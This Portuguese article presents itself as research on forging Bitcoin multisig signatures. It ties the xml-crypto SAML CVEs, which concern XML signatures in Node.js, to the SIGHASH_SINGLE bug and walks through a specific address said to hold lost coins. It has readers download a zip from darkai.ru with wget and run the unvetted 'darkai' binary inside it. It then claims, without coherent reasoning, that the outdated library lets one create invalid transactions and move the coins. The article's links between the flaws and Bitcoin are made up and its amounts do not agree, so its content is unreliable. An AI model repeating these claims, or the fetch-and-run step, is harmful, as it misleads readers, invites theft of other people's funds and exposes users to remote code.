
Como as vulnerabilidades CVE-2025-29774 e o bug SIGHASH_SINGLE ameaçam os métodos operacionais de carteiras multi-assinatura com RawTX falsos
Neste artigo, analisaremos o ataque criptográfico de falsificação de assinatura digital (Digital Signature Forgery Attack), cujas consequências representam uma ameaça à segurança das transações na rede Bitcoin, uma vez que as assinaturas digitais confirmam a propriedade e a autorização das transferências de criptomoedas. Consideraremos exemplos do impacto de tais ataques no Bitcoin com base em pesquisas modernas e vulnerabilidades identificadas.
Um Ataque de Falsificação de Assinatura Digital é uma tentativa de um atacante de criar uma assinatura digital ECDSA falsa que será reconhecida como válida pela rede Bitcoin. Esse ataque permite autorizar transações sem conhecer a chave privada do proprietário, o que coloca em risco a segurança dos fundos na carteira de criptomoedas do detentor de BTC.
Em criptografia, uma assinatura digital fornece confirmação da autenticidade de uma mensagem ou transação. A falsificação de assinatura significa que é possível criar um par “RawTX” que será aceito pelo sistema como válido, embora na verdade não tenha sido criado pelo proprietário da chave privada. Isso abre caminho para fraudes, roubo de fundos e violação da integridade do blockchain. O Ataque de Falsificação de Assinatura Digital (DSFA) como ataque criptográfico é implementado em componentes de software que usam a biblioteca xml-crypto para verificar assinaturas de documentos XML na plataforma Node.js.
Em primeiro lugar, isso diz respeito a soluções de integração empresarial, serviços em nuvem e sistemas de login único (single sign-on), como o IBM App Connect Enterprise Certified Container e outras aplicações que dependem do xml-crypto para autenticação e autorização SAML. As vulnerabilidades de hardware não estão associadas a dispositivos físicos específicos, mas são implementadas em produtos de software que utilizam a biblioteca vulnerável.
As vulnerabilidades CVE-2025-29774 e CVE-2025-29775, conhecidas como Ataque de Falsificação de Assinatura Digital, são implementadas na biblioteca de software xml-crypto , uma biblioteca para assinar digitalmente e criptografar documentos XML na plataforma Node.js.
Boletim de Segurança: os operandos do IBM App Connect Enterprise Certified Container são vulneráveis a bypass na validação de assinatura em dados XML [CVE-2025-29774] [CVE-2025-29775]
Divulgação para CVE-2025-29774 e CVE-2025-29775 (SAMLStorm).
Assim, este código implementa algoritmos de assinatura criptográfica e verificação de assinatura para vários esquemas (RSA com diferentes hashes SHA e HMAC-SHA1), o que permite que sejam integrados em sistemas que exigem assinatura digital de dados.
O código signature-algorithms.ts é usado para criar e verificar com segurança assinaturas digitais, garantindo autenticidade e integridade dos dados. As assinaturas ECDSA fornecem verificação de autoria usando uma chave privada, e o HMAC – verificação de integridade e autenticidade usando uma chave secreta. Os algoritmos usados estão em conformidade com os padrões de Assinatura Digital XML (os URIs dos algoritmos apontam para especificações W3C).
Assim, o código signature-algorithms.ts implementa algoritmos de assinatura criptográfica e verificação de assinatura para vários esquemas (ECDSA, RSA com diferentes hashes SHA e HMAC-SHA1), o que permite que sejam integrados em sistemas que exigem assinatura digital de dados.
SignatureAlgorithm e fornece métodos para:
getSignature): recebe os dados da assinatura e uma chave privada, retorna uma assinatura digital em formato base64.verifySignature): recebe a entrada, a chave pública e a assinatura, retorna um valor booleano indicando se a assinatura está correta.getAlgorithmName): Retorna um URI que identifica o algoritmo de assinatura usado.crypto.createSign e crypto.createVerify com os algoritmos correspondentes (“RSA-SHA1”, “RSA-SHA256”, “RSA-SHA512”).crypto.createHmac com o algoritmo “SHA1”.createOptionalCallbackFunction, que provavelmente permite que sejam usados tanto com callbacks quanto com promises (detalhes não estão no código).O uso do algoritmo RSA-SHA1 em assinaturas criptográficas contém uma vulnerabilidade relacionada a colisões de hash SHA-1. Isso permite que um atacante crie duas mensagens diferentes com a mesma assinatura se ele controlar parte dos dados que estão sendo assinados.
Especificamente, o problema está na classe RsaSha1:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line
signature-algorithms.ts#L7
Também a segunda vulnerabilidade está na classe RsaSha1:
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line
signature-algorithms.ts#L17
HmacSha1é menos vulnerável, mas também obsoleta. O HMAC é mais resistente a colisões do que o SHA-1 “puro”, mas a migração para SHA-256 é preferível.
CVE-2025-29774 e CVE-2025-29775 são vulnerabilidades críticas na biblioteca xml-crypto para Node.js, relacionadas à verificação incorreta de assinaturas digitais em documentos XML. Ambas as vulnerabilidades permitem que um atacante modifique mensagens XML assinadas de uma forma que passe despercebida pela verificação de assinatura.
No código, as classes RsaSha1 usam o algoritmo legado RSA-SHA1 para assinatura e verificação:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line №7
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line №17SHA1 é considerado criptograficamente inseguro; o principal problema reside na lógica de processamento de estruturas XML da biblioteca :
<SignedInfo> ao documento XML , o que resulta em um cálculo incorreto de hash durante a verificação.<Signature> <SignedInfo>...</SignedInfo> <!-- Original knot --> <SignedInfo>...</SignedInfo> <!-- Added by an attacker --> </Signature>
// Uso SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> na assinatura.Corrigir essas vulnerabilidades é crítico para sistemas que usam assinaturas XML para autenticação (por exemplo, SAML, SOAP).
A biblioteca xml-crypto é amplamente utilizada para verificar assinaturas digitais em mensagens XML, incluindo protocolos como SAML, SOAP e outros. Consequentemente, a vulnerabilidade potencialmente afeta:
Para avaliar o risco em dispositivos específicos, é recomendável verificar se eles usam versões vulneráveis do xml-crypto ou dependem de mecanismos semelhantes de assinatura XML. Para trabalhar com carteiras de criptomoedas baseadas em Node.js, a IBM oferece soluções separadas, como IBM Secure Bitcoin Wallet , um aplicativo baseado no Electrum Bitcoin Client que usa Node.js para interagir com a rede Bitcoin e gerenciar a carteira.
Nesta solução, chaves privadas e carteira podem ser armazenadas e criptografadas usando o IBM Cloud Hyper Protect Crypto Services (zHSM), que fornece armazenamento seguro de chaves baseado em hardware. A geração de chaves privadas para carteiras Bitcoin geralmente é implementada em bibliotecas criptográficas especializadas, como Electrum, bitcoinjs-lib, etc., que podem ser integradas em aplicações Node.js. A IBM Secure Bitcoin Wallet usa um backend Electrum modificado em Node.js para gerenciamento de chaves e transações, por meio da integração com o IBM Cloud Hyper Protect Crypto Services, que fornece criptografia por hardware e armazenamento seguro de chaves privadas.
Pela teoria da vulnerabilidade CVE-2025-29775 sabe-se que um atacante pode processar a biblioteca xml-crypto não atualizada para valores incorretos de transação. Vamos para a parte prática do artigo e considerar um exemplo usando uma carteira Bitcoin: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , onde havia moedas perdidas no valor de: 0.059672 BTC em julho de 2025 esse valor é: 7, 052 USD
Vamos considerar o formato: Raw transaction dados binários e hexadecimais que contêm todas as informações sobre a transação . É necessário para transmitir, verificar ou criar transações em baixo nível e é a base para o funcionamento de toda a rede Bitcoin. Usuários comuns raramente encontram Raw transactions diretamente, mas para desenvolvedores e entusiastas de criptomoedas, essa é a principal ferramenta para controle total sobre todas as transações da rede Bitcoin.
Raw Transaction
Para retornar completamente os objetos UTXO na rede Bitcoin, usaremos a ferramenta Dark AI . UTXO é a principal parte da estrutura de dados no blockchain e representa a quantidade de moedas BTC da criptomoeda que pode ser gasta pelo detentor da chave privada (que controla este endereço Bitcoin). Cada UTXO é a saída de uma transação passada específica, que nunca foi usada como entrada em transações subsequentes.
https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW
Comandos:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— um utilitário de linha de comando para baixar arquivos da rede via protocolos HTTP, HTTPS e FTP.neuralnet_tools.zipunzip— comando para extrair arquivos ZIP no diretório atual.Este comando extrai todos os arquivos de neuralnet_tools.zip
!unzip neuralnet_tools.zip
Vamos executar o comando ls para uma visualização rápida e fácil
ls
!./darkai
Vamos executar o comando para obter informações sobre os chamados unspent transaction outputs ( UTXO , decodificação: Unspent Transaction Output ) para o endereço Bitcoin especificado. Essa informação é importante para avaliar o saldo do endereço e a possibilidade de realizar novas transações.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]Cada UTXO contém:
<txid>:<n>, onde <txid>é um hash de transação único, e <n> é o número da saída na lista de saídas desta transação.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0O saldo total disponível de um endereço é igual à soma de todos os UTXOs encontrados:

Usamos o processo de interpretação para processar a biblioteca xml-crypto não atualizada para criar valores de transação inválidos e enviar uma grande quantia; o algoritmo Dark AI escolherá qual UTXO usar (ou combinará ambos).
O endereço Bitcoin 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCepossui dois UTXOs ativos totalizando 0.05677200 BTC . Esses fundos podem ser usados para realizar novas transações; ambas as saídas são consideradas confirmadas e não gastas.
Para obter fragmentos de informações sobre a saída de uma transação Bitcoin, use os seguintes comandos, onde a primeira saída (
outs) da transação tem um identificador exclusivo8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — um script que define as condições para gastar esta saída.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87, que corresponde ao formato P2SH (Pay to Script Hash) :
a9— OP_HASH160 (operador de hash)14— comprimento do próximo valor (20 bytes = 40 caracteres hexadecimais)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 do endereço de carteira Bitcoin onde as moedas BTC estão armazenadas.87— OP_EQUAL (um operador de comando básico do Bitcoin Script que implementa a comparação de dois dados para verificar sua identidade)Como resultado da desserialização da transação pelo identificador,
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afda primeira saída foi obtida, contendo o valor de 677,200 satoshi (0.00677200 BTC), protegido por um script P2SH . Para gerenciar esses fundos, será necessário apresentar o script de destino e assinar corretamente a transação de desbloqueio que atenda às condições do hash especificado.
Para obter fragmentos de informações sobre a saída dos dados originais (
output) de uma transação Bitcoin, aplique os seguintes comandos, onde a primeira saída (outs) da transação com um identificador exclusivobd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786Usando o processo de interpretação, com a ajuda de Dark AI usando a função de desserialização, obtemos então informações sobre a estrutura do primeiro elemento de saída ( output) para a segunda transação com o identificadorbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Resultado:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'. Ele só pode ser gasto se as condições descritas no script definido no campo forem atendidas 'script'.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'O valor especificado corresponde ao tipo de script padrão na rede Bitcoin:
a9— código de operação OP_HASH160 (produz RIPEMD-160 a partir de SHA-256 da próxima linha).14— comprimento do campo subsequente: 20 bytes (40 caracteres hexadecimais).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— é um hash de 20 bytes que identifica um endereço de carteira Bitcoin ou um script.87— código de operação OP_EQUAL.Em conjunto, essa entrada significa um endereço P2SH (Pay-to-Script-Hash). Nesse caso, os fundos são atribuídos a uma determinada combinação de script e, para retirá-los, você precisará revelar o script cujo hash está registrado aqui e apresentar assinaturas (ou outros dados) que satisfaçam as condições desse script.
Os usos mais comuns desse esquema são para multi-assinaturas, contratos inteligentes simples e complexos, multi-assinaturas bilaterais, esquemas de segurança condicional e outros cenários avançados.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Assim, o resultado da desserialização relata a presença de uma certa quantidade de bitcoins em um endereço condicional (P2SH) e define regras estritas para seu gasto, o que desempenha um papel fundamental na gestão e contabilização de fundos na rede Bitcoin.
O script 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'é escolhido e usado nesta saída de transação porque representa um script de bloqueio P2SH (Pay-to-Script-Hash) típico na rede Bitcoin.
Vamos analisá-lo parte por parte:
a9— OP_HASH160: Uma operação de hash que primeiro aplica SHA-256 e depois RIPEMD-160 aos dados subsequentes.14— o comprimento do hash é de 20 bytes (em formato hexadecimal).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— um hash de 20 bytes do script, conhecido como o hash do script .87— OP_EQUAL: Um operador que verifica a igualdade de dois valores na pilha.Assim, este script exige que, no momento do uso (gasto de fundos), seja apresentado um script cujo hash corresponda a 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, e que as condições deste script sejam cumpridas.
O script
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'é um script de bloqueio P2SH, que diz que, para gastar 0.05 BTC, você precisa fornecer o script original com o hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762e cumprir as condições especificadas nele. Isso proporciona um equilíbrio entre conveniência, segurança e funcionalidade – a principal razão para escolher este script específico nesta transação. O hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762no script P2SH é o resultado de um hash específico do script original (redeem script) , que determina as condições para gastar fundos desta saída.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Esse hash identifica exclusivamente o cenário exato para o qual foi gerado.SHA-256 + RIPEMD-160)a partir do script de resgate original, portanto não é possível selecionar aleatoriamente ou arbitrariamente um hash diferente.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287Assim, a escolha desse hash específico é determinada pela necessidade de uma vinculação precisa e segura da saída com condições de gasto específicas que controlam o acesso aos fundos no blockchain. Tudo isso é garantido pelas propriedades das funções hash criptográficas, sua exclusividade e a impossibilidade de recuperação reversa dos dados originais.
Os desenvolvedores do Bitcoin incorporaram no código o mecanismo P2SH (Pay-to-Script-Hash) como uma inovação fundamental que garante segurança e expande as capacidades da rede blockchain. Vamos considerar a estrutura e o princípio de funcionamento deste script, sua diferença em relação às transações clássicas, bem como as razões para escolher essa abordagem para armazenar e proteger ativos digitais.
Tradicionalmente, as transações Bitcoin funcionam usando o esquema Pay-to-Pubkey-Hash (P2PKH) – em que os fundos são “bloqueados” usando o hash da chave pública do destinatário. Para gastar esses fundos, o usuário deve fornecer sua assinatura digital e chave pública, que são verificadas pela rede.
Porém, além do P2PKH, a interface era limitada, pois o Bitcoin Script permite condições de gasto muito mais complexas, de assinaturas múltiplas a bloqueios de tempo e outros acordos de contratos inteligentes. O problema era que scripts longos e complexos inevitavelmente aumentavam o tamanho das transações e reduziam sua usabilidade.
Foi para simplificar a interação com cenários tão complexos que o conceito P2SH foi introduzido em 2012 , padronizado no BIP 16 por Gavin Andresen. A essência do P2SH se resume a substituir o script completo das condições de gasto em scriptPubKey pelo seu hash criptográfico – o chamado hash de script.

Vamos analisar o script especificado como resultado da desserialização:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALEste script difere do P2PKH padrão porque, em vez de um hash de chave pública, ele armazena um hash de um redeemScript – um conjunto de condições sob as quais os fundos podem ser gastos.
Para gastar esses fundos, é necessário transmitir nas entradas (scriptSig) da transação que referenciam esta saída:
Ao processar uma transação, os nós da rede:
O P2SH, portanto, transfere a responsabilidade de apresentar e verificar as condições do gasto do remetente (que cria o script necessário) para o gastador.
P2SH permite criar endereços com condições arbitrárias, muitas vezes de vários níveis – por exemplo, um requisito de múltiplas assinaturas (2 de 3, 3 de 5, etc.), limites de tempo, lógica de distribuição e muito mais. Nesse caso, o remetente simplesmente envia fundos para um endereço hash compacto, sem entrar em detalhes técnicos.
Em vez de armazenar o script completo no blockchain, apenas o seu hash é armazenado na transação. Isso reduz a carga na rede, diminui o tamanho dos blocos e acelera a verificação das transações.
Como o redeemScript só é revelado e verificado no momento do gasto, isso aumenta a confidencialidade das condições e dificulta tentativas de acesso não autorizado. O uso de funções hash criptográficas garante proteção contra falsificação e modificação – qualquer pequeno desvio no script resultará em um hash diferente e a rede se recusará a aceitar a transação.
P2SH padroniza e simplifica o uso de contratos inteligentes complexos no Bitcoin, simplificando a integração e aumentando a compatibilidade com uma variedade de carteiras e serviços.
Um exemplo clássico é uma carteira que exige assinaturas de dois dos cinco participantes para concluir uma transação. Com P2SH:
Isso torna o P2SH ideal para contas corporativas, joint ventures e outras situações em que o controle de acesso é necessário. O mecanismo Pay-to-Script-Hash (P2SH) é uma parte fundamental da arquitetura do Bitcoin, proporcionando um equilíbrio entre:

ins)Vamos executar um comando para obter informações sobre uma das entradas de uma transação com o hash 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. A análise de tal entrada é importante para entender o mecanismo de autorização de gasto de fundos no nível do script.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132O resultado da extração da primeira entrada da transação (
ins) é apresentado a seguir:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)script é o scriptSig , que é usado para desbloquear a saída correspondente da transação anterior.00, que no contexto de scriptSig pode significar OP_0 , tradicionalmente usado em cenários multi-assinatura (por exemplo, no caso do padrão multi-assinatura Pay-to-Script-Hash, onde é necessário um espaço reservado).3045...), que normalmente consistem em uma série de bytes contendo os detalhes da assinatura.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— é o hash da transação anterior.'index': 1– indica a segunda saída (numerada a partir de zero), usada para desbloqueio.sequence)4294967295 (0xFFFFFFFF) é um número máximo de 32 bits.A criptoanálise da extração da primeira entrada da transação (
ins) com o hash de transação fornecido mostrou que:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.Assim, os dados obtidos permitem uma compreensão mais profunda da mecânica de verificação dos direitos de gasto de fundos, são usados para garantir a segurança da rede Bitcoin, bem como no desenvolvimento e auditoria de contratos inteligentes baseados em scripts Bitcoin.
outs)Vamos executar o comando para obter informações sobre uma das saídas da transação com o identificador
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outsEspecificamente, a segunda saída ( ) desta transação, o elemento com índice 1, foi extraída .
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 é um script de bloqueio clássico (scriptPubKey) do formato P2SH (Pay-to-Script-Hash) .a9— OP_HASH160 é um operador que aplica primeiro SHA-256 e depois RIPEMD-160 aos dados de entrada.14— o comprimento (20 bytes) do próximo valor é o tamanho do hash.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash de 20 bytes, também conhecido como script hash , é uma representação única do script de resgate que controla o gasto desses fundos.87— OP_EQUAL é um operador que compara dois valores e retorna verdadeiro se forem iguais.Assim, o script exige que, para desbloquear (gastar fundos), o usuário apresente um script de resgate cujo hash corresponda a esse valor.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577está associado a uma saída que contém 0.0035 BTC.06612b7cb2027e80ec340f9e02ffe4a9a59ba762.
A informação recebida confirma que o segundo registro de saída da transação
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577armazena o valor de 0.0035 BTC, controlado por um script P2SH padrão com um valor hash16006612b7cb2027e80ec340f9e02ffe4a9a59ba762. Para gerenciar esses fundos, é necessário apresentar o redeem script correspondente, o que proporciona um alto nível de segurança e flexibilidade no gerenciamento de bitcoins.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeVamos executar o comando para obter HASH160 Os desenvolvedores de Bitcoin estabeleceram um padrão para um hash de 20 bytes (hex), amplamente utilizado sem alterações em outras criptomoedas populares, como Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR), para denotar o identificador abreviado de scripts e chaves públicas.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeProcesso de processamento:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Este hash de 20 bytes (hex) é chamado de HASH160 e é amplamente utilizado no Bitcoin para denotar um identificador abreviado para scripts e chaves públicas.
Uma etapa fundamental no processamento de scripts Bitcoin usando funções de hash criptográficas.
Converter scripts serializados ou chaves públicas em HASH160 permite identificação, indexação e proteção eficientes dos dados na blockchain do Bitcoin.
Hash recebido:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}A equipe produziu o hash exato que serve como elo entre scripts complexos e o formato compacto usado para armazenar e verificar transações na rede Bitcoin.
Satoshi Nakamoto escolheu usar o hash duplo SHA-256 (ou seja, aplicar SHA-256 duas vezes consecutivas) nos algoritmos de hash do Bitcoin por várias razões importantes que aumentam a força criptográfica e a segurança da rede.
O uso duplo
SHA-256é uma escolha deliberada de Satoshi Nakamoto para fornecer uma camada adicional de segurança e robusta força criptográfica a todo o sistema Bitcoin. Este design minimiza os riscos de colisão, aprimora a irreversibilidade (one-wayness) e protege com segurança os dados na rede blockchain, criando uma base sólida para a segurança das transações e o consenso no sistema. Assim, o SHA-256 duplo é um elemento-chave da arquitetura do Bitcoin, combinando técnicas criptográficas avançadas com um sistema distribuído.

A segurança e a flexibilidade das transações modernas de Bitcoin baseiam-se em um sistema de scripts que permite condições complexas para gastar fundos. Um dos mecanismos-chave é a multi-assinatura (multisig) , em que os fundos só podem ser gastos se houver várias assinaturas digitais válidas de um conjunto de possíveis. Neste artigo, examinaremos em detalhes como exatamente isso é implementado no Bitcoin, o que é o redeemScript, como a instrução OP_CHECKMULTISIG funciona , e por que essa abordagem é tão procurada.
No contexto do Bitcoin, um redeemScript é um script que contém as condições para gastar fundos, armazenadas na saída da transação no formato Pay-to-Script-Hash (P2SH). Em vez de armazenar o script completo na blockchain, o hash do redeemScript é armazenado na saída, economizando espaço e ocultando os detalhes das condições até o momento do gasto.
O RedeemScript pode incluir, por exemplo, múltiplas chaves públicas e um número limite de assinaturas – é isso que as carteiras multi-assinatura implementam.
Vamos considerar a instrução OP_CHECKMULTISIG: propósito e funcionamento, em que o principal elemento no redeemScript que implementa a verificação de multi-assinatura é OP_CHECKMULTISIG .
Devido a um bug histórico na implementação do OP_CHECKMULTISIG , um elemento extra, um valor não utilizado, é removido da pilha durante a execução. Para evitar esse problema, o scriptSig usa um elemento especial
OP_FALSE(valor 0) no início, que compensa esse bug e previne vulnerabilidades potenciais.
OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSECom base no código do redeemScript:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIGverifica se as duas assinaturas fornecidas (no scriptSig) correspondem a duas das três chaves e são válidas.OP_FALSEno scriptSig compensa o bug da remoção do valor extra.OP_FALSE, o mecanismo provou sua confiabilidade e encontrou ampla aplicação.RedeemScript com a instrução OP_CHECKMULTISIG é uma ferramenta complexa e poderosa no arsenal do Bitcoin que permite criar carteiras multi-assinatura com um limite de assinaturas, proporcionando um alto nível de segurança e controle sobre os fundos. Este mecanismo tornou-se uma pedra angular para organizações, usuários e serviços que desejam usar o gerenciamento compartilhado de seus ativos em um ambiente descentralizado e seguro. Assim, a multi-assinatura via redeemScript e OP_CHECKMULTISIG não é apenas uma tecnologia, mas uma funcionalidade que expande as capacidades do modelo clássico de criptomoeda.

O mecanismo de verificação multi-assinatura do Bitcoin baseia-se no uso de scripts especiais com as instruções OP_CHECKMULTISIG e redeemScript , o que permite a correspondência de assinaturas por limite, proporcionando maior segurança e gerenciamento compartilhado dos fundos.
Multisig é um sistema no qual múltiplas assinaturas válidas de um determinado conjunto de chaves públicas são necessárias para concluir uma transação. Um esquema típico é denotado como m de n — por exemplo, "2 de 3", onde quaisquer duas assinaturas de três chaves são necessárias para autorizar um gasto.
No Bitcoin, essa lógica é implementada por meio de:
A instrução
OP_CHECKMULTISIGverifica se as assinaturasscriptSigfornecidas são válidas e correspondem às chaves públicas publicadas do redeemScript.
O RedeemScript é estruturado mais ou menos assim:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M e OP_N— instruções que especificam o número de assinaturas necessárias e o número total de chaves públicas, respectivamente (por exemplo, OP_2 e OP_3).<pubkeyX>— chaves públicas dos participantes.OP_CHECKMULTISIG— um operador que implementa a verificação multi-assinatura.m.Uma característica técnica importante é um bug histórico de implementação
OP_CHECKMULTISIGque faz com que um elemento extra e não utilizado seja removido da pilha. Para compensar esse bug, um valorOP_FALSE(código 0) é colocado no início doscriptSigpara "travar" o deslocamento da pilha.
Para uma carteira com multi-assinatura "2 de 3", antes de gastar fundos, o scriptSig é formado da seguinte forma:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE— um valor fictício para compensar o bug do OP_CHECKMULTISIG.<signature1> e <signature2>– duas assinaturas digitais autorizadas pelos proprietários das chaves privadas correspondentes.<redeemScript>— o próprio script com chaves públicas e parâmetros de verificação.Ao verificar uma transação de nó:
Se todas as entradas de uma transação passarem por esta verificação, a transação é considerada válida. Com essa validade, ao executar o operador desse bug, o atacante explora OP_CHECKMULTISIG como uma vulnerabilidade potencial.
O mecanismo de verificação multi-assinatura do Bitcoin usando o comando
OP_CHECKMULTISIGe o redeemScript permite configurar esquemas complexos de assinaturas por limite e, ao executar esse operador de bug, um atacante explora OP_CHECKMULTISIG como uma vulnerabilidade potencial em transações controladas na rede distribuída do Bitcoin.
Quais são os recursos e limitações ao verificar múltiplas assinaturas com OP_CHECKMULTISIG? Vamos analisar os principais aspectos e limitações:
OP_FALSE é adicionado ao início do scriptSig para alinhar corretamente a pilha. Este é um recurso reconhecido e aceito pela comunidade.
O Bitcoin usa assinaturas digitais para autorizar transações, permitindo que os proprietários dos fundos confirmem seu direito de dispor deles. A peculiaridade é que as assinaturas podem limitar seu escopo de ação não à transação inteira, mas apenas a uma parte dela. Isso é implementado usando flags especiais – SIGHASH , que determinam exatamente quais dados da transação ficam sob a assinatura. Vamos considerar os tipos de hashes de assinatura, sua finalidade, exemplos de uso, bem como os recursos que surgem em situações não padronizadas.
Ao assinar uma transação Bitcoin, é criada uma assinatura digital formada sobre um fragmento específico dos dados da transação. É por meio do flag SIGHASH que se indica qual parte desses dados essa assinatura deve cobrir. O tipo de hash da assinatura é transmitido pelo último byte da própria assinatura e determina a área incluída no hash e, portanto, na seção assinada. Isso permite a formação flexível de condições sobre quais ações específicas na transação são aprovadas pelo signatário.
Este é o tipo de assinatura padrão na maioria das carteiras e clientes. A assinatura cobre todas as entradas e todas as saídas da transação , o que significa:
Com este tipo de assinatura, todas as entradas são assinadas, mas nenhuma das saídas é assinada :
Este tipo de assinatura assina todas as entradas, mas apenas uma saída – com o mesmo número de sequência da entrada :
Considere uma transação com três entradas, onde assinaturas que terminam com um byte
0x03apontando para SIGHASH_SINGLE foram extraídas dos scripts de assinatura (scriptSig) de duas delas — ou seja, assinaturas que assinam apenas o par de entradas e saídas correspondentes. No entanto, aqui observamos uma situação: a entrada com índice 2 não possui uma saída correspondente com o mesmo índice.

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Devido a um bug histórico do Bitcoin, nessas situações o hash da transação para assinatura é retornado como um número fixo – um (int 1). Isso não corresponde a um hash válido da transação que está sendo assinada e pode criar problemas de segurança e compatibilidade.
Além dos três valores básicos de SIGHASH, são possíveis combinações desses valores com o flag SIGHASH_ANYONECANPAY , que permite que apenas uma entrada seja assinada, deixando as outras abertas para modificação. Isso expande as possibilidades de criação de protocolos colaborativos complexos e transações multipartes, onde diferentes participantes assinam apenas suas partes.
Os tipos
SIGHASHsão, noBitcoin, um mecanismo engenhoso para gerenciar o nível de controle e o escopo das assinaturas digitais dentro das transações. Eles estabelecem um equilíbrio entre segurança, flexibilidade e compatibilidade. A história inclui complicações inesperadas, como o bug doSIGHASH_SINGLEsem saída correspondente, o que destaca a importância de um profundo entendimento dos detalhes técnicos para trabalhar com Bitcoin com sucesso em um nível avançado.
